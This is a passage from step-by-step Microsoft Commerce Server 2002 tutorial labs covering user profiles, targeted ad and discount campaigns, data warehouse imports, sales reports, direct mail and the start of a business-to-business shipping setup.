    Map to Data Click ellipsis to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, select ProfileService_SQLSource, select User Object, scroll down, and then select Custom Property1 (STRING).
  8. Click OK.
  9. On the Profile: User Object screen, in the Custom Attributes section, do the following:
    Use this | To do this
    Name | Select sUserAccess, and then click Edit.
    Value | Change the value to 1.
  10. Click Accept, and then click Apply.
  11. To save the site term with the user profile and return to the Profiles screen, click Save and go back on the toolbar.

After you add a site term to a user profile, you need to publish your profile changes to your Web site. Proceed to Step 3: Publishing the profile changes on your Web site, where you will publish your changes to your Retail Web site.


Step 3: Publishing the profile changes on your Web site

  1. In the Profiles module, click Publish Profiles.

    The Publish Profiles screen appears.

  2. In the Publish Profiles screen, select the Retail site that contains the changes you want to publish, and then click Publish on the toolbar.

The profiles are updated and are available on your Retail Web site. Proceed to Lesson 6: Adding a User with a New Profile.


Lesson 6: Adding a User with a New Profile

Scenario: The Retail Web site has been up and running and you have Web site users that regularly shop from your Adventure Works and Camping Maps catalogs. You want to manage the users who are recognized by your site, because they have completed an online registration form, ordered camping products, or have established a user account on your site.

In this lesson, you will add two new users with the new site terms, Male and Female that you created in the previous lesson. After you have done so, you will target ad campaigns to specific users in Lab 2: Creating a Marketing Campaign.

In this lesson, you will perform the following steps:

  • Step 1: Creating the male user
  • Step 2: Creating the female user
  • Step 3: Viewing User Accounts in Business Desk
  • Step 4: Site verification steps


Step 1: Creating the male user

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Profiles, click Users.
  3. In the User Object screen, click New on the toolbar.
  4. In the New User Object screen, in the General Information section, do the following:
    Use this | To do this
    Logon name | Type JackUser.
    User password | Type open_sesame.
    E-mail | Type JackUser@Microsoft.com.
    Last name | Type User.
    First name | Type Jack.
    Gender | Select Male from the drop-down list.
  5. To save the male user and create a new user, click Save and create new on the toolbar.

The male user, named Jack User, is saved with the site term. Proceed to Step 2: Creating the female user, where you will create a new user called JillUser.


Step 2: Creating the female user

  1. In the General Information section, do the following:
    Use this | To do this
    Logon name | Type JillUser.
    User password | Type shazzam.
    E-mail | Type JillUser@Microsoft.com.
    Last name | Type User.
    First name | Type Jill.
    Gender | Select Female from the drop-down list.
  2. To save the female user and return to the User Object screen, click Save and go back on the toolbar.

The female user, named Jill User, is saved with the female site term. Proceed to Step 3: Viewing User Accounts in Business Desk.


Step 3: Viewing User Accounts in Business Desk

  1. On the User Object screen, in the Find Section do the following:
    Use this | To do this
    Find by | Select Logon name from the drop-down list.
    Logon name | Type * (an asterisk).
  2. Click Find Now.

The users: JackUser, JillUser, and JoeUser appear in the Filtered View list. Proceed to Step 4: Site verification steps.


Step 4: Site verification steps

  1. Open the Retail site using your browser. To open the Retail site, in Internet Explorer type http://<servername>/retail on the Address line, where <servername> is the name of the server hosting your Web site. Contact your system administrator if you do not know the name of the server.
  2. On the Retail screen, click Sign-in in the left pane under Login.

    Note

    • If the Welcome back screen appears, click Click here to sign in with your existing account to open the Sign-in screen.
  3. In the Sign-in screen, do the following:
    Use this | To do this
    User name | Type JackUser.
    Password | Type open_sesame.
  4. Click Submit.

    The Catalogs screen appears.

  5. In the Catalogs screen, in the left pane, below Customer Service, click Profile.

    The Editing profile screen appears.

  6. In the Editing profile screen, verify that the newly created site term attribute Gender and site term Male are displayed under General Information.
  7. Close the browser window.

You have verified that the creation of your new user, named JackUser, was successful. Proceed to Lab 2: Creating a Marketing Campaign.


Lab 2: Creating a Marketing Campaign

Estimated Time to Complete: 30 minutes

Scenario: Because you are just getting started in the online catalog business, you want to create an advertisement campaign for your specialized camping books. To stimulate sales, you want to create a discount for these books.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed.

  • Lesson 1: Creating an Ad Campaign
  • Lesson 2: Creating a Target Expression
  • Lesson 3: Creating a Discount Campaign


Lesson 1: Creating an Ad Campaign

Scenario: Because you know that many of your customers are mountain climbers, your first discount campaign features mountain climbing books. You use the Commerce Server Business Desk Campaigns module to create and schedule several types of marketing campaigns at once. You can create ad campaigns, direct mail campaigns, and discount campaigns.

You will use the Reference Tables module in Campaigns to set up an industry code for your books. Industry codes identify the industry associated with an ad or discount, thus preventing two ads or discounts from customers within the same industry from appearing on the same Web page.

In this lesson, you will add an industry code for Books. Then you will add a new campaign customer, Mountain Publishing, and then a new advertising campaign called Mountain Books.

In this lesson, you will perform the following steps:

  • Step 1: Adding a Book industry code to the reference tables
  • Step 2: Adding a campaign customer
  • Step 3: Adding a campaign


Step 1: Adding a book industry code to the reference tables

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Campaigns module, click Reference Tables.

    The Reference Tables screen appears.

  3. In the Reference Tables screen, in the Industry Codes section, click New.
  4. In the Reference Tables screen, in the Industry Codes section, in the Industry Code box, type Books, and then click Accept.
  5. To save the new industry code and return to the Commerce Server: Welcome to Business Desk screen, click Save and go back on the toolbar.

The new industry code is saved. You can now prevent two ads placed by competing booksellers from appearing on the same Web page. Proceed to Step 2: Adding a campaign customer.


Step 2: Adding a campaign customer

  1. In the Campaigns module, click Campaign Manager.
  2. In the Campaign Manager screen, click Add on the toolbar, and then select New Customer from the drop-down list.

    The Campaign Manager - New (customer) screen appears.

  3. In the Campaign Manager - New (customer) screen, in the Customer Properties section, do the following:
    Use this | To do this
    Name | Type Mountain Publishing.
    Type | Select Advertiser from the drop-down list.
    Industry | Select Books from the drop-down list.
  4. To save the new customer and return to the Campaign Manager screen, click Save and go back on the toolbar.

The new customer, Mountain Publishing, is saved and appears in the Campaign Manager screen. You can now add a new campaign. Proceed to Step 3: Adding a campaign.


Step 3: Adding a campaign

  1. In the Campaign Manager screen, select Mountain Publishing.
  2. In the Campaign Manager screen, click New on the toolbar, and then select New Campaign from the drop-down list.

    The Campaign Manager – Mountain Publishing – New (campaign) screen appears.

  3. In the Campaign Manager – Mountain Publishing – New (campaign) screen, in the Campaign Properties section, do the following:
    Use this | To do this
    Campaign Name | Type Mountain Books.
    Start date | Select yesterday from the drop-down calendar.
    End date | Select a date one month from today from the drop-down calendar.
    Status | Select Active from the drop-down list.
  4. In the Advertising/Campaign Goaling section, do the following:
    Use this | To do this
    Set goals by | Select Advertising Items from the drop-down list.
    Scheduled by | Select Requests from the drop-down list.
  5. To save the campaign and return to the Campaign Manager screen, click Save and go back on the toolbar.

The Mountain Books campaign is saved and is goaled at the advertising item level. You can now create a new ad and target those users to whom you want to display the ad. Proceed to Lesson 2: Creating a Target Expression.


Lesson 2: Creating a Target Expression

Scenario: You want to target an advertisement to a specific group of users. You use the Campaign Expressions module to define the user group that you want to target. You might want to target an ad, direct mail, or apply a discount campaign to a particular user group.

In this lesson, you will create an ad campaign targeting all male customers. You defined the Gender attribute in Lab 1, Lesson 5: Targeting Products to Customers, so you can now use the Male and Female site terms contained by the Gender attribute to target your ad.

In this lesson, you will perform the following steps:

  • Step 1: Targeting an expression
  • Step 2: Creating a target group
  • Step 3: Creating a new ad
  • Step 4: Previewing the ad
  • Step 5: Verifying the status of the targeted ad
  • Step 6: Updating the campaign on the Retail site
  • Step 7: Verifying your changes on the Retail site


Step 1: Targeting an expression

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Campaigns module, click Campaign Expressions.

    The Campaign Expressions: Target Expressions screen appears.

  3. In the Campaign Expressions: Target Expressions screen, click New on the toolbar.

    The Target Expression dialog box appears.

  4. In the Target Expression dialog box, do the following:
    Use this | To do this
    Name | Type MaleUsers, and then click New.
    Target based on the following conditions
    • Left column - Select UserObject from the drop-down list, click General Information, and then select Gender.
    • Middle column - Select Is Equal To from the drop-down list.
    • Right column - Click ellipsis button to open the Choose a Site Term dialog box.

      In the Choose a Site Term dialog box, select Male from the list of site terms, and then click OK.

  5. In the Target Expression dialog box, click Apply.
  6. To save the expression, click Save.

The expression, which targets male users, is saved. Proceed to Step 2: Creating a target group.


Step 2: Creating a target group

  1. In the Campaigns module, click Target Groups.
  2. In the Target Groups screen, click New on the toolbar.

    The Target Group: New screen appears.

  3. In the Target Group: New screen, do the following:
    Use this | To do this
    Target group name | Type MaleGroup, and then click New.
    Expression | Click New, and then select MaleUsers from the drop-down list.
    Action | Select Require from the drop-down list.
  4. Click Accept.
  5. To save the target group and return to the Target Groups screen, click Save and go back on the toolbar.

The target group, named MaleGroup, is created using the MaleUsers target expression. Proceed to Step 3: Creating a new ad.


Step 3: Creating a new ad

  1. In the Campaigns module, click Campaign Manager.
  2. In the Campaign Manager screen, expand Mountain Publishing, and then select Mountain Books.
  3. In the Campaign Manager screen, click New on the toolbar, and then select New Ad from the drop-down list.

    The Campaign Manager - Mountain Publishing - Mountain Books - New (ad) screen appears.

  4. In the Campaign Manager - Mountain Publishing - Mountain Books - New (ad) screen, in the Add Properties section, do the following:
    Use this | To do this
    Ad name | Type TargetMales.
    Status | Select Active from the drop-down list.
    Type | Select Paid Ad from the drop-down list.
    Requests | Type 1000.
    Exposure limit | Select None from the drop-down list.
    Industry | Select Books from the drop-down list.
  5. In the Ad Target section, do the following:
    Use this | To do this
    Page groups Verify that the Show on all Page Groups check box is selected.

    Selecting this option ensures that this ad will be displayed on all Web pages on the Retail site.
    Target groups: Available | Select MaleGroup, and then click Add to move the group to the Assigned list box.
  6. Scroll down, and in the Ad Display section, do the following:
    Use this | To do this
    Size | Select Full Banner (468 x 60) from the drop-down list.
    Type | Select Image from the drop-down list.
    Image URL Type http://<servername>/Retail/Images/catalog/Clockped.gif

    In order to display an image in the ad, for this scenario you copied the Clockped.gif file to the <drive>:\Inetpub\wwwroot\Retail\Images\Catalog folder in Preparing to Use the Tutorial.

    Click URL Type http://MSPress.Microsoft.com.

    Because this scenario uses a fictitious company, the URL used in this scenario directs users to the Microsoft Press Web site.
    Alternate text | Type This is a banner for Mountain Publishing.

You ad is defined. Proceed to Step 4: Previewing the ad, where you will preview your new ad before sending it to production.


Step 4: Previewing the ad

  1. In the Campaign Manager - Mountain Publishing - Mountain Books - New (ad) screen, in the Ad Display section, click Preview.

    The Preview dialog box appears.

  2. In the Preview dialog box, select Yes to save the Campaign item.

    A copy of the ad appears in the display area below the Preview button.

  3. To return to the Campaign Manager screen, click Back on the toolbar.

You have previewed your ad. Proceed to Step 5: Verifying the status of the targeted ad.


Step 5: Verifying the status of the targeted ad

  1. In the Campaign Manager screen, click Find on the toolbar.
  2. In the Find section, in the Status drop-down list, select All, and then click Find Now.
  3. In the Filtered View list, expand Mountain Publishing, and then expand Mountain Books to verify that the targeted ad, named TargetMales, appears in the list.

Note that the status of the Targeted Ad is active. Proceed to Step 6: Updating the campaign on the Retail site.


Step 6: Updating the campaign on the Retail site

  1. In the Campaigns module, click Publish Campaigns.

    The Publish Campaigns screen appears.

  2. In the Publish Campaigns screen, in the Production Items box, select advertising.
  3. To update the campaign, click Publish on the toolbar.

A "refresh" message appears. The ad campaign is updated and will target male users on the Retail site.

Note

  • If the Business Desk:Error dialog box appears, click OK.

You have updated your campaign and published it on the Retail site. Proceed to Step 7: Verifying your changes on the Retail site.


Step 7: Verifying your changes on the Retail site

  1. Open the retail site using your browser. To open the Retail site, in Internet Explorer type http://<servername>/Retail on the Address line, where <servername> is the name of the server hosting the Retail site. Contact your system administrator if you do not know the name of the server.

    Note

    • If the Welcome back screen appears, click Click here to sign in with your existing account to open the Sign-in screen.
  2. Click Sign-in under Login, and then do the following:
    Use this | To do this
    User name | Type JillUser.
    Password | Type shazzam.
  3. Click Submit.

    Note that the ad does not appear on the Retail site, because you targeted the ad to male users.

  4. Close the browser window.
  5. Open the Retail site using your browser.
  6. Click Sign-in under Login, and then do the following:
    Use this | To do this
    User name | Type JackUser.
    Password | Type open_sesame.
  7. Click Submit.

    The ad now appears on the Retail site.

  8. Close the browser window.

You have verified that your ad is targeted only to male users. Proceed to Lesson 3: Creating a Discount Campaign.


Lesson 3: Creating a Discount Campaign

Scenario: You want to create an introductory discount for all users of your online catalog. This discount does not apply to previous purchases. You use the Campaign Manager module to create a discount. You can specify one or more products to which the discount applies, the amount of the discount, and the number of items a user must purchase before the discount is applied.

In this lesson, you will create a discount campaign for your online catalog, offering a 20 percent discount on all products to all users.

In this lesson, you will perform the following steps:

  • Step 1: Creating a discount campaign item
  • Step 2: Sending the discount campaign to production
  • Step 3: Verifying your changes on the Retail site


Step 1: Creating a discount campaign item

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Campaigns module, click Campaign Manager.
  3. In the Campaign Manager screen, expand Mountain Publishing, select Mountain Books, click New on the toolbar, and then select New Discount from the drop-down list.
  4. In the Campaign Manager - Mountain Publishing - Mountain Books - New (discount) screen, in the Discount Properties section, do the following:
    Use this | To do this
    Discount name | Type 20% Site Discount.
    Status | Select Active from the drop-down list.
    Start date | Select today's date from the drop-down calendar.
    End date | Select a date two months from today from the drop-down calendar.
  5. In the Discount Definition section, do the following:
    Use this To do this
    Buy Select the Anything check box.

    If this check box is selected, the discount system will always attempt to apply the discount.
    Get
    • First column - Verify unlimited as the number of items awarded.
    • Second column - Select [any product] from the drop-down list.
    • Third column - Select Percent(%) from the drop-down list.
    • Fourth column - Type 20.
  6. In the Discount Display section, do the following:
    Use this | To do this
    Basket display | Type 20% discount in effect.
    Content size | Select Half Banner from the drop-down list.
    Content type | Select Image.
    Image URL Type http://<servername>/retail/images/catalog/MSPress.gif.

    Because this scenario uses a fictitious company, the .gif used in this scenario is for Microsoft Press.
    Click URL Type http://MSPress.Microsoft.com.

    Because this scenario uses a fictitious company, the URL used in this scenario directs users to the Microsoft Press Web site.
    Alternate text | Type This is a banner for Mountain Publishing.
  7. To save the discount and return to the Campaign Manager screen, click Save and go back on the toolbar.

You have defined a 20 percent discount, which will be applied to any Mountain Publishing product on your Retail site. Proceed to Step 2: Sending the discount campaign to production to publish the discount campaign on your Retail site.


Step 2: Sending the discount campaign to production

  1. In the Campaigns module, click Publish Campaigns.
  2. In the Publish Campaigns screen, select discounts, and then click Publish on the toolbar.

The discount campaign is sent to production and is active on your Retail site. Proceed to Step 3: Verifying your changes on the Retail site.


Step 3: Verifying your changes on the Retail site

  1. Open the Retail site using your browser. To open the Retail site, in Internet Explorer type http://<servername>/Retail on the Address line, where <servername> is the name of the server hosting the Retail site. Contact your system administrator if you do not know the name of the server.
  2. Click Sign-in in the left pane under Login, and then do the following:
    Use this | To do this
    User name | Type JackUser.
    Password | Type open_sesame.
  3. Click Submit.
  4. Click the Camping Maps link, click MapBooks category, and then select Hiking in the Himalayas.

    The price of the book is $19.99.

  5. Click Add to Basket.
  6. Click Basket in the screen header section.

    A discount of $4.00 is applied to the final price, which is 20 percent less than the unit price.

  7. Close the browser window.

You have verified that the 20 percent discount campaign is active on your retail site. Proceed to Lab 3: Analyzing Product Sales.


Lab 3: Analyzing Product Sales

Estimated Time to Complete: 60 minutes

Scenario: Now that your site has been active for a while, you want to know how many times per day users visit your site and how your camping products are selling. You also want to tell your users about some new camping products. In this lab you run dynamic and static reports to help you analyze sales. You also export a static report and create a direct mail campaign to tell your users about a new line of tents.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed.

  • Lesson 1: Importing Your Log File Data
  • Lesson 2: Running a Dynamic Report
  • Lesson 3: Running a Static Report
  • Lesson 4: Exporting a Static Report
  • Lesson 5: Creating a Direct Mail Campaign


Lesson 1: Importing Your Log File Data

This lesson must be performed by a system administrator, or someone who has access to the Commerce Server computer and SQL Server Enterprise Manager. If you are not the system administrator, contact the system administrator to perform the steps in this lesson for you. When the steps in this lesson are completed, you can then proceed to Lesson 2 of this lab.

In the first two labs of this tutorial, data was collected in the log files for your site. This data was collected by Microsoft Internet Information Services (IIS). In this lesson, you will import log file data into the Data Warehouse, thus making the data available to the business manager to run reports using Business Desk.

In this lesson, a system administrator will perform the following steps:

  • Step 1: Synchronizing the Data Warehouse with your application
  • Step 2: Importing the Web log files
  • Step 3: Importing the profile user data
  • Step 4: Populating the OLAP cubes with the imported data
  • Step 5: Executing the DTS tasks


Step 1: Synchronizing the Data Warehouse with your application

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In the left pane, expand Microsoft SQL Servers, expand SQL Server Group, expand servername (Windows NT), expand Data Transformation Services, right-click Local Packages, and then click New Package.
  3. In the DTS Package: <New Package> screen, right-click in an empty area of the pane, point to Add Task, and then select Configuration synchronization (Commerce Server) from the drop-down list.
  4. In the Synchronize DW Properties screen, in the Operation Properties section, in the Site box, select Retail from the drop-down list, and then click OK.

    Note

    • Your application and Data Warehouse are not synchronized until the Data Transformation Services (DTS) task that you performed in this step is executed. You can execute a DTS task individually by selecting Execute from the Package menu; however, in this scenario you will execute all DTS tasks collectively in Step 5: Executing the DTS Tasks.

You have created a DTS task package for synchronizing the Data Warehouse with your application. Proceed to Step 2: Importing the Web log files.


Step 2: Importing the Web log files

  1. In the DTS Package: <New Package> screen, right-click in an empty area of the pane, point to Add Task, and then select Web server log import (Commerce Server) from the drop-down list.
  2. In the Import Web Server Logs Properties dialog box, in the Operation Properties section, in the Site box, select Retail from the drop-down list.
  3. In the Import Web Server Logs Properties dialog box, in the Log File Locations tab, in the Application column, select <computername>/retail, <computername>/retailbizdesk.
  4. In the Log file path box, type <drive:>\Winnt\System32\LogFiles\W3svc1, and then click OK.

    Notes

    • Your log files are not imported into your Data Warehouse until the DTS task, which you performed in this step is executed. You can execute a DTS task individually by selecting Execute from the Package menu, however, in this scenario you will execute all DTS tasks collectively in Step 5: Executing the DTS Tasks.
    • On a production server, the Log file path may be different, if the system administrator saves IIS log files to a folder, other than the default.

You have created a DTS task package for importing your Web log files. Proceed to Step 3: Importing the profile user data.


Step 3: Importing the profile user data

  1. In the DTS Package: <New Package> screen, right-click on an empty area of the pane, point to Add Task, and then select Profile Data Import (Commerce Server) from the drop-down list.
  2. In the Profile Import Properties dialog box, in the Operation Properties section, in the Site Name box, select Retail from the drop-down list, and then click OK.

    Note

    • Your user profile data is not imported into your Data Warehouse until the DTS task, which you performed in this step is executed. You can execute a DTS task individually by selecting Execute from the Package menu, however, in this scenario you will execute all DTS tasks collectively in Step 5: Executing the DTS Tasks.

You have created a DTS task package for importing the profile user data. Proceed to Step 4: Populating the OLAP cubes with the imported data.


Step 4: Populating the OLAP cubes with the imported data

  1. In the DTS Package: <New Package> screen, right-click on an empty area of the pane, point to Add Task, and select Report preparation (Commerce Server) from the drop-down list. The Prepare Reports Properties dialog box appears.
  2. In the Prepare Reports Properties dialog box, in the Operation properties section, verify that Retail appears in the Sites list.
    Note
    • If the Retail site does not appear in the Sites list, select a different Data Warehouse from the Data warehouse drop-down list that is associated with the Retail site.
  3. In the Processing Mode section, select Full, and then click OK.

You have created a DTS task package for populating the OLAP cubes with the imported data. However, the OLAP cubes are not populated with the imported data until this step is executed. Proceed to Step 5: Executing the DTS tasks, where you will execute all four of the DTS task packages collectively.


Step 5: Executing the DTS tasks

  1. In the DTS Package: <New Package> window, hold down the [CTRL] key, and then select each of the four Commerce Server DTS tasks, and then release the [CTRL] key.

    All four Commerce Server DTS Task icons are selected.

  2. On the Workflow menu, click On Completion.
  3. On the Package menu, click Execute.

    The Executing Package screen appears, which displays a progress indicator signifying that the tasks are running.

  4. When the tasks have executed successfully, in the Package Execution Results dialog box, click OK.
  5. In the Executing Package screen click Done.
  6. Close SQL Server Enterprise Manager without saving the package.

The result of the these five steps are as follows:

  • The data from the log files is imported into the Data Warehouse.
  • The OLAP cubes are populated with the imported data.
  • The user profile data is imported into the Data Warehouse.
  • The data in your Data Warehouse is now synchronized with your application.

In the following lessons, this data is used to create a dynamic report and a static report. Proceed to Lesson 2: Running a Dynamic Report.


Lesson 2: Running a Dynamic Report

Scenario: To find out how many times per day users are accessing your online camping catalog, you run a Usage Summary report.

You can run both a dynamic and static reports from the Reports module or you can schedule reports to be run automatically on a regular basis. Dynamic reports run in a matter of seconds and immediately appear in a separate browser window in the form of a PivotTable report.

In this lesson, you will perform the following steps:

  • Step 1: Running the Usage Summary report
  • Step 2: Saving the Usage Summary report


Step 1: Running the Usage Summary report

  1. Open Commerce Server Business Desk - Retail from either the Start menu or the Desktop.
  2. In Analysis, click Reports.
  3. In the Reports screen, click Find on the toolbar.
  4. In the Find section, do the following:
    Use this | To do this
    Find by | Select Name from the drop-down list.
    Name | Type Usage Summary.
  5. Click Find Now.
  6. In the Reports screen, in the Filtered View section, select the Usage Summary by Day of Week report, and then click Run report on the toolbar to run the report.

The report runs and then appears in a new browser window as a pivot table. Proceed to Step 2: Saving the Usage Summary report.


Step 2: Saving the Usage Summary report

A license for the Microsoft Office XP Web controls is required to save a report. If you do not have a license, they you cannot save a Usage Summary report.

  1. In the browser, in the pivot table window, click Save on the toolbar. The Save a report – Web Page Dialog screen appears.
  2. In the Save a report – Web Page Dialog screen, in the Report Name box, type Retail Site Summary of Usage, and then click OK.
  3. Close the browser window.

The report appears in the Filter View list of All Reports. Proceed to Lesson 3: Running a Static Report.


Lesson 3: Running a Static Report

Scenario: You want to see how your Maps & Camping catalog sales are doing so you run a Customer Sales report. This report is a static report, which can take several minutes to run. However, while the static report is running, the Reports module is available to you for running other reports. You can check the status of your report in the Completed Reports module.

In this lesson, you will perform the following steps:

  • Step 1: Running the Customer Sales report
  • Step 2: Viewing the completed report


Step 1: Running the Customer Sales report

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Analysis, click Reports.
  3. In the Reports screen, click Find on the toolbar.
  4. In the Find screen, do the following:
    Use this | To do this
    Find by | Select Name from the drop-down list.
    Name | Type Customer Sales, and then click Find Now.
    Name list | Select Customer Sales.
  5. To run the report, click Run report on the toolbar.

    The Static report execution warning dialog box appears.

  6. In the Static report execution warning dialog box, click No.
  7. In the Report Parameters dialog box, click OK to accept the default values.

The report runs and will now appear in the Completed Reports module. Proceed to Step 2: Viewing the completed report.


Step 2: Viewing the completed report

  1. In Analysis, click Completed Reports.
  2. In the Completed Reports screen, in the Filtered View section, in the Name column, select Customer Sales.
  3. To open the report, click Open on the toolbar.

    The Customer Sales report appears in a browser window.

  4. Close the browser window.

You have viewed the completed static sales report. Proceed to Lesson 4: Exporting a Static Report.


Lesson 4: Exporting a Static Report

Scenario: You want to create a list of users to which you can send customized e-mail. For example, you may want to send direct mail to a list of customers who are likely to buy mountain climbing books or you may want to send new customers e-mail with a special discount. You use List Manager to create and manage these lists. After you create and export the list using List Manager, you can create a mailing list that can be used to create and send e-mail to selected recipients on the list.

In this lesson, you will export a static report to List Manager.

To export a static report to List Manager

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Analysis, click Reports.
  3. In the Reports screen, click Find on the toolbar.
  4. In the Find pane, do the following:
    Use this | To do this
    Find by | Select Name from the drop-down list.
    Name | Type Registered User Properties, and then click Find Now.
    Name | Select Registered User Properties.
  5. To export the report, click Export on the toolbar.

    The Static report execution warning dialog box appears.

  6. In the Static report execution warning dialog box, click No.
  7. In the Report Parameters dialog box, click OK to accept the defaults.
  8. In the Export Report as a list dialog box, do the following:
    Use this | To do this
    List Type | Select Static.
    List Name | Type UserProperties.
  9. Click OK.
  10. In the Campaigns module, click List Manager.

    UserProperties appears in the list.

You can now use the list to create a direct mail campaign. Proceed to Lesson 5: Creating a Direct Mail Campaign.


Lesson 5: Creating a Direct Mail Campaign

Scenario: You want to send direct mail to new customers and offer them a special discount for visiting or ordering from your site. Direct mail campaigns are a way to get users to view your ads or visit a specific area of your site. You will use the list you created in the previous lesson to send e-mail that tells them about your new customer discount.

In this lesson, you will perform the following steps:

  • Step 1: Creating a direct mail campaign
  • Step 2: Verifying that the test mail was sent


Step 1: Creating a direct mail campaign

Note

  • Before you create a direct mail campaign, ensure that SQL Server Agent is running. If SQL Server Agent is not running, you will not be able to save your direct mail campaign.
  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Campaigns module, click Campaign Manager.
  3. In the Campaign Manager screen, expand Mountain Publishing, and then select the Mountain Books campaign.
  4. Click New on the toolbar, and then select New Direct Mail from the drop-down list. The Campaign Manager – Mountain Publishing – Mountain Books – New (direct mail) screen appears.
  5. In the Campaign Manager – Mountain Publishing – Mountain Books – New (direct mail) screen, in the Direct Mail Properties section, do the following:
    Use this | To do this
    Direct mail name | Type TargetedMail.
    Message from e-mail address | Type WebMaster@AdventureWorks.com.
    Message subject | Type Great camping news for our customers.
    File path or URL containing
    message body         		Type http://www.Microsoft.com.
    Mailing list | Select UserProperties from the drop-down list.
    Personalize direct mail per user | Clear this check box.
    Mail Format | Select MHTML from the drop-down list.
  6. In the Mail Schedule section, do the following:
    Use this | To do this
    Start Date | Select today's date from the drop-down calendar.
    Start Time Select the next full hour after the current hour from the drop-down list.

    Note

    • Time is in 24-hour mode. Therefore, if it is currently 2:45 PM, select 1500 from the drop-down list.
    Mailing Interval | Verify that One time only is displayed.
  7. In the Test section, do the following:
    Use this | To do this
    Test list | Select UserProperties from the drop-down list.
    Send Test Mail | Click to send test mail.

    The Direct Mail message box appears, with the "Save and send test mail now?" message.

  8. In the Direct Mail dialog box, click Yes.

    The Business Desk message box appears.

  9. In the Business Desk message box, click OK.

    The test mail is sent, and the direct mail campaign is saved.

  10. To return to the Campaign Manager screen, click back on the toolbar.

The direct mail campaign is added to the Campaign Manager module. Proceed to Step 2: Verifying that the test mail was sent.


Step 2: Verifying that the test mail was sent

  1. Navigate to the DML_drop directory on your server. Using Windows Explorer, navigate to <drive letter:>\Program Files\Microsoft Commerce Server 2002\DML_drop. The .eml file containing the direct mail message appears.

    Note

    • If you have not been granted access to the <drive letter:>\Program Files\Microsoft Commerce Server 2002\DML_drop directory of the server, ask your system administrator to perform this step for you.
  2. To view the test e-mail, double-click the .eml file.
  3. Verify that the .eml file contains the following data:
    Item | Contains this
    From: WebMaster@AdventureWorks.com
    To: <your e-mail address>
    Subject: Great camping news for our customers
    Message body | Home page for Microsoft.com.

Note

  • To verify that the scheduled mail was sent, repeat steps 1 through 3 at the starting time you specified.

This ends the labs for the Business-to-Consumer Tutorial. You have now completed all the lessons in setting up a Business-to-Consumer retail site.


Business-to-Business Tutorial

Microsoft Commerce Server 2002 provides a comprehensive set of tools to help you build e-commerce applications for the Web. The Business-to-Business tutorial provides step-by-step instructions, using Business Desk in Commerce Server 2002 to manage your e-commerce Web site.

This section contains:

  • The Business-to-Business Scenario
  • Preparing the Tutorial
  • Lab 1: Adding a Shipping Method and a Tax Rate
  • Lab 2: Building Your SupplierAD Catalogs
  • Lab 3: Adding Products to Your Catalogs
  • Lab 4: Performing Organizational and Security Tasks


The Business-to-Business Scenario

You are the Business Desk manager for the Northwind Traders Company. You want to enable your employees to purchase supplies from your own catalogs, using your Commerce Server Web site. You also want your Business Desk managers to be able to update their catalogs, which are on your Commerce Server. The Business-to-Business tutorial shows you how to do the following:

  • Create a separate catalog for each product group within your company.
  • Publish your catalogs on your Web site.
  • Grant a Business Desk manager from each product group limited access to Business Desk modules and tasks, so that they can update their own catalogs only.

This tutorial contains four labs that use the SupplierAD Solution Site, included with Commerce Server. Before you start Lab 1: Adding a Shipping Method and Tax Rate, your system administrator must prepare the tutorial for you. For information and prerequisites concerning this tutorial, refer your system administrator to the Preparing to Use the Tutorial topic.

After the tutorial has been prepared, ask your system administrator for the location of your Supplier Active Directory Solution Site and the user name and password you will use to log on to the Commerce Server computer. Then proceed to Lab 1: Adding a Shipping Method and Tax Rate.


Preparing the Tutorial

Your system administrator must perform the following tasks before you can proceed to Lab 1: Adding a Shipping Method and a Tax Rate:

  • Verify that your system supports the minimum requirements necessary to support this tutorial.
  • Verify specific configuration settings on the domain controller.
  • Install the SupplierAD Solution Site.

For instructions about installing the SupplierAD Solution Site, see Installing the Sample Supplier Site.

The Commerce Server SupplierAD Solution Site is available at http://go.microsoft.com/fwlink/?linkid=6491.


Lab 1: Adding a Shipping Method and a Tax Rate

Estimated Time to Complete: 15 minutes

Scenario: Before creating catalogs, you will add a shipping method and a tax rate. You will then publish your Tax Rates and Shipping Methods to your SupplierAD site.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed:

  • Lesson 1: Adding a Shipping Method
  • Lesson 2: Adding a Tax Rate
  • Lesson 3: Publishing Tax Rates and Shipping Methods


Lesson 1: Adding a Shipping Method

Because your company needs to ship products to your employees, you need to set up a shipping method and shipping rates. In this lesson, you will add a shipping rate, which is computed based on the subtotal of individual orders.

To add a shipping method

  1. Log on to the Commerce Server computer using the user name and password that your system administrator created for you. If you don't know the user name and password, contact your system administrator.
  2. Open Business Desk - SupplierAD from either the Start menu or the Desktop.
  3. Expand the Orders module, and click Shipping Methods.
  4. In the Shipping Methods screen, click New on the toolbar, and then select Charge by Subtotal from the drop-down list.

    The Charge by SubTotal – New screen appears. Using this screen you will create a shipping method based on the subtotal of individual orders.

  5. In the Charge by Subtotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select English – United States from the drop-down list.
    Name | Type Blue Yonder Airlines.
    Description | Type We will ship it for you.
    Enabled | Verify that the Shipping method enabled check box is selected.
  6. In the Rates section, click New, and then do the following:
    Use this | To do this
    Price, up to | Type 10.
    Shipping Rate | Type 5.

    You have created a shipping rate in which five dollars will be charged to individual orders totaling ten dollars or less.

  7. Click Accept, and then click New to add another shipping rate.
  8. In the Rates section, do the following:
    Use this | To do this
    Price, up to | Type 20.
    Shipping Rate | Type 10.

    You have created a shipping rate in which ten dollars will be charged to individual orders totaling twenty dollars or less.

  9. Click Accept.
  10. In the Rates section, do the following:
    Use this | To do this
    Price, up to | Double-click over 20.
    Shipping Rate | Type 15.

    You have created a shipping rate in which 15 dollars will be charged to individual orders totaling more than 20 dollars.

  11. Click Accept to add the Over 20 shipping rate.

